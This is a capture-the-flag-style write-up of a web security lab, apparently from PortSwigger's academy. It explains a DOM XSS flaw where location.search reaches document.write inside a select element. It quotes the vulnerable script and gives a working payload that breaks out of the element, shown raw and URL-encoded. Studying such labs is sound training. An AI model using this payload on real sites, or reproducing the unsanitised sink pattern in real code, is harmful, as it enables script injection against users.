DOM XSS in document.write sink using source location.search inside a select element

Description

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Approach

After accessing the lab, I began examining the source code of each page since this lab is vulnerable to DOM-based XSS, which means the vulnerability lies in the client-side JavaScript. While inspecting the /product page, I found the following script:

<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>

I noticed immediately the presence of a source which is location.search :

  • The search property of the Location interface is a search string, also called a query string; that is, a string containing a '?' followed by the parameters of the URL.

So here it is storing the value of the parameter storeId into the the store variable. To confirm the vulnerability, I crafted a URL with a storeId parameter containing a simple string:

https://0a86005803435178836ff63600cc006c.web-security-academy.net/product?productId=1&storeId=ichyaboy

After sending this and inspecting the page i can see that ichyaboy was added to the dropdown and as a selected item

<select name="storeId">
	<option selected="">ichyaboy</option>
	<option>London</option>
	<option>Paris</option>
	<option>Milan</option>
</select>

and that's what the script exactly doing. By adding the encoded payload to the storeId parameter in the URL, I constructed the following request:

</option></select><img src=1 onerror=alert(1)>
https://0a86005803435178836ff63600cc006c.web-security-academy.net/product?productId=1&storeId=%3C/option%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(1)%3E

After sending the request, the injected payload is executed by the browser, causing the onerror event to trigger and display an alert box. This confirms the XSS vulnerability has been successfully exploited.